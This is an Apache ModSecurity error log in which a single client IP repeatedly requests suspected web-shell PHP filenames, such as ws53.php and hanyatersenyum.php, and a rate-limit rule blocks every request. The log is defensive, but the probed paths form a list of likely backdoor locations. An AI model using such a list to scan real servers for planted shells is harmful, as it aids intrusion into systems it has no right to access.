[Sun Apr 19 23:42:50.733191 2026] [:error] [pid 47772:tid 47807] [client 20.215.51.14:6958] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aeT3-oc0L16cb4smAz_oPgAAABI"]
[Sun Apr 19 23:42:52.206814 2026] [:error] [pid 47772:tid 47798] [client 20.215.51.14:7043] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aeT3_Ic0L16cb4smAz_oRAAAAAk"]
[Sun Apr 19 23:42:53.684071 2026] [:error] [pid 15760:tid 15776] [client 20.215.51.14:7096] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aeT3_fSdD_XHQMJ_ISt5DQAAAcg"]
[Sun Apr 19 23:42:54.987262 2026] [:error] [pid 15764:tid 15830] [client 20.215.51.14:7122] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aeT3_mLL_sqdSHoVp-RMaQAAAkQ"]
[Sun Apr 19 23:42:56.174202 2026] [:error] [pid 47773:tid 47830] [client 20.215.51.14:7054] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeT4AOiBHdnCJDuPq9BhGAAAAE4"]
[Sun Apr 19 23:42:57.144128 2026] [:error] [pid 47775:tid 47853] [client 20.215.51.14:7024] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeT4Abmztjlk9tsmoeww2AAAAIo"]
[Sun Apr 19 23:42:58.102814 2026] [:error] [pid 15765:tid 15868] [client 20.215.51.14:7083] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeT4AvRqinw-W5EwQ74PDAAAAo8"]
[Sun Apr 19 23:42:59.004190 2026] [:error] [pid 15760:tid 15776] [client 20.215.51.14:6992] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeT4A_SdD_XHQMJ_ISt5IgAAAcg"]
[Sun Apr 19 23:42:59.768593 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7141] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfasb.php"] [unique_id "aeT4A7MXv1Y1THOoxaAe8wAAAhc"]
[Sun Apr 19 23:43:00.974789 2026] [:error] [pid 47886:tid 47888] [client 20.215.51.14:7134] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfasb.php"] [unique_id "aeT4BESe8yiyuPrD7yOMRQAAAMA"]
[Sun Apr 19 23:43:02.312134 2026] [:error] [pid 15693:tid 15703] [client 20.215.51.14:7059] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfasb.php"] [unique_id "aeT4BsNMD-ccazQlTsloSAAAAUc"]
[Sun Apr 19 23:43:03.167190 2026] [:error] [pid 15764:tid 15835] [client 20.215.51.14:7006] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bfasb.php"] [unique_id "aeT4B2LL_sqdSHoVp-RMbwAAAkk"]
[Sun Apr 19 23:43:04.045048 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7041] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xopgt.php"] [unique_id "aeT4CGLL_sqdSHoVp-RMcQAAAlI"]
[Sun Apr 19 23:43:04.857699 2026] [:error] [pid 15765:tid 15867] [client 20.215.51.14:7077] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xopgt.php"] [unique_id "aeT4CPRqinw-W5EwQ74PEQAAAo4"]
[Sun Apr 19 23:43:06.185963 2026] [:error] [pid 15694:tid 15731] [client 20.215.51.14:7012] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xopgt.php"] [unique_id "aeT4CrimB-jol1fwqAoeOgAAAYU"]
[Sun Apr 19 23:43:07.105224 2026] [:error] [pid 15764:tid 15826] [client 20.215.51.14:7127] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xopgt.php"] [unique_id "aeT4C2LL_sqdSHoVp-RMdQAAAkA"]
[Sun Apr 19 23:43:08.246961 2026] [:error] [pid 47775:tid 47846] [client 20.215.51.14:7081] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeT4DLmztjlk9tsmoeww5AAAAIM"]
[Sun Apr 19 23:43:09.288729 2026] [:error] [pid 15763:tid 15816] [client 20.215.51.14:7131] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeT4DbMXv1Y1THOoxaAfAAAAAhQ"]
[Sun Apr 19 23:43:10.207087 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:7022] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeT4DvSdD_XHQMJ_ISt5QgAAAcM"]
[Sun Apr 19 23:43:11.446634 2026] [:error] [pid 15694:tid 15723] [client 20.215.51.14:7080] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit-tags.php"] [unique_id "aeT4D7imB-jol1fwqAoePwAAAYA"]
[Sun Apr 19 23:43:12.356408 2026] [:error] [pid 47772:tid 47807] [client 20.215.51.14:7167] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeT4EIc0L16cb4smAz_oYgAAABI"]
[Sun Apr 19 23:43:13.343229 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:7063] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeT4EfSdD_XHQMJ_ISt5TAAAAcQ"]
[Sun Apr 19 23:43:14.325176 2026] [:error] [pid 47773:tid 47821] [client 20.215.51.14:7108] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeT4EuiBHdnCJDuPq9BhKwAAAEU"]
[Sun Apr 19 23:43:15.296809 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7095] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeT4E_SdD_XHQMJ_ISt5UgAAAc0"]
[Sun Apr 19 23:43:16.292538 2026] [:error] [pid 15765:tid 15873] [client 20.215.51.14:7038] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeT4FPRqinw-W5EwQ74PGAAAApQ"]
[Sun Apr 19 23:43:17.245952 2026] [:error] [pid 47773:tid 47836] [client 20.215.51.14:6985] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeT4FeiBHdnCJDuPq9BhMwAAAFQ"]
[Sun Apr 19 23:43:18.274938 2026] [:error] [pid 47773:tid 47827] [client 20.215.51.14:7114] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeT4FuiBHdnCJDuPq9BhOQAAAEs"]
[Sun Apr 19 23:43:19.417414 2026] [:error] [pid 15760:tid 15768] [client 20.215.51.14:7071] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "aeT4F_SdD_XHQMJ_ISt5ZQAAAcA"]
[Sun Apr 19 23:43:20.955359 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7128] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeT4GLMXv1Y1THOoxaAfCAAAAhc"]
[Sun Apr 19 23:43:22.353829 2026] [:error] [pid 15764:tid 15847] [client 20.215.51.14:7144] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeT4GmLL_sqdSHoVp-RMhwAAAlU"]
[Sun Apr 19 23:43:23.877107 2026] [:error] [pid 15694:tid 15733] [client 20.215.51.14:7152] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeT4G7imB-jol1fwqAoeTwAAAYc"]
[Sun Apr 19 23:43:24.956698 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7136] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aeT4HPSdD_XHQMJ_ISt5fQAAAc0"]
[Sun Apr 19 23:43:26.001656 2026] [:error] [pid 15760:tid 15775] [client 20.215.51.14:7003] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeT4HvSdD_XHQMJ_ISt5hQAAAcc"]
[Sun Apr 19 23:43:27.215400 2026] [:error] [pid 47772:tid 47800] [client 20.215.51.14:7124] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeT4H4c0L16cb4smAz_omAAAAAs"]
[Sun Apr 19 23:43:28.269802 2026] [:error] [pid 47773:tid 47828] [client 20.215.51.14:7004] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeT4IOiBHdnCJDuPq9BhRgAAAEw"]
[Sun Apr 19 23:43:29.359292 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7153] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "aeT4IfSdD_XHQMJ_ISt5lwAAAck"]
[Sun Apr 19 23:43:30.156657 2026] [:error] [pid 47775:tid 47864] [client 20.215.51.14:7125] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeT4Irmztjlk9tsmoeww8QAAAJU"]
[Sun Apr 19 23:43:31.088985 2026] [:error] [pid 15764:tid 15851] [client 20.215.51.14:6997] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeT4I2LL_sqdSHoVp-RM4wAAAlg"]
[Sun Apr 19 23:43:36.208880 2026] [:error] [pid 15764:tid 15848] [client 20.215.51.14:6933] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeT4KGLL_sqdSHoVp-RM8wAAAlY"]
[Sun Apr 19 23:43:36.884281 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:6969] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "aeT4KPSdD_XHQMJ_ISt5xgAAAcU"]
[Sun Apr 19 23:43:37.815638 2026] [:error] [pid 47773:tid 47827] [client 20.215.51.14:6926] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aeT4KeiBHdnCJDuPq9BhSQAAAEs"]
[Sun Apr 19 23:44:24.824816 2026] [:error] [pid 15760:tid 15769] [client 20.215.51.14:6860] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeT4WPSdD_XHQMJ_ISt6JAAAAcE"]
[Sun Apr 19 23:44:25.657047 2026] [:error] [pid 15763:tid 15814] [client 20.215.51.14:7047] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeT4WbMXv1Y1THOoxaAfXgAAAhI"]
[Sun Apr 19 23:44:26.642576 2026] [:error] [pid 15763:tid 15817] [client 20.215.51.14:7014] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeT4WrMXv1Y1THOoxaAfYAAAAhU"]
[Sun Apr 19 23:44:28.238673 2026] [:error] [pid 47772:tid 47801] [client 20.215.51.14:7067] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "aeT4XIc0L16cb4smAz_o-QAAAAw"]
[Sun Apr 19 23:44:29.211768 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7092] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeT4XfSdD_XHQMJ_ISt6MwAAAdE"]
[Sun Apr 19 23:44:30.212634 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7107] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeT4XvSdD_XHQMJ_ISt6UQAAAck"]
[Sun Apr 19 23:44:31.388910 2026] [:error] [pid 47773:tid 47840] [client 20.215.51.14:7087] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeT4X-iBHdnCJDuPq9BheAAAAFg"]
[Sun Apr 19 23:44:32.496835 2026] [:error] [pid 15764:tid 15839] [client 20.215.51.14:7101] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vrhiw.php"] [unique_id "aeT4YGLL_sqdSHoVp-RNawAAAk0"]
[Sun Apr 19 23:44:33.493197 2026] [:error] [pid 15694:tid 15740] [client 20.215.51.14:7086] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeT4YbimB-jol1fwqAoedAAAAY4"]
[Sun Apr 19 23:44:34.319198 2026] [:error] [pid 15693:tid 15709] [client 20.215.51.14:7085] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeT4YsNMD-ccazQlTslomAAAAU0"]
[Sun Apr 19 23:44:35.113756 2026] [:error] [pid 47775:tid 47846] [client 20.215.51.14:6993] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeT4Y7mztjlk9tsmoewxGQAAAIM"]
[Sun Apr 19 23:44:35.963159 2026] [:error] [pid 15760:tid 15775] [client 20.215.51.14:7113] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeT4Y_SdD_XHQMJ_ISt6WgAAAcc"]
[Sun Apr 19 23:44:36.969704 2026] [:error] [pid 47772:tid 47789] [client 20.215.51.14:7157] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeT4ZIc0L16cb4smAz_pCgAAAAA"]
[Sun Apr 19 23:44:37.733472 2026] [:error] [pid 15760:tid 15769] [client 20.215.51.14:6930] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeT4ZfSdD_XHQMJ_ISt6YgAAAcE"]
[Sun Apr 19 23:44:38.571549 2026] [:error] [pid 47772:tid 47809] [client 20.215.51.14:7023] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeT4Zoc0L16cb4smAz_pDgAAABQ"]
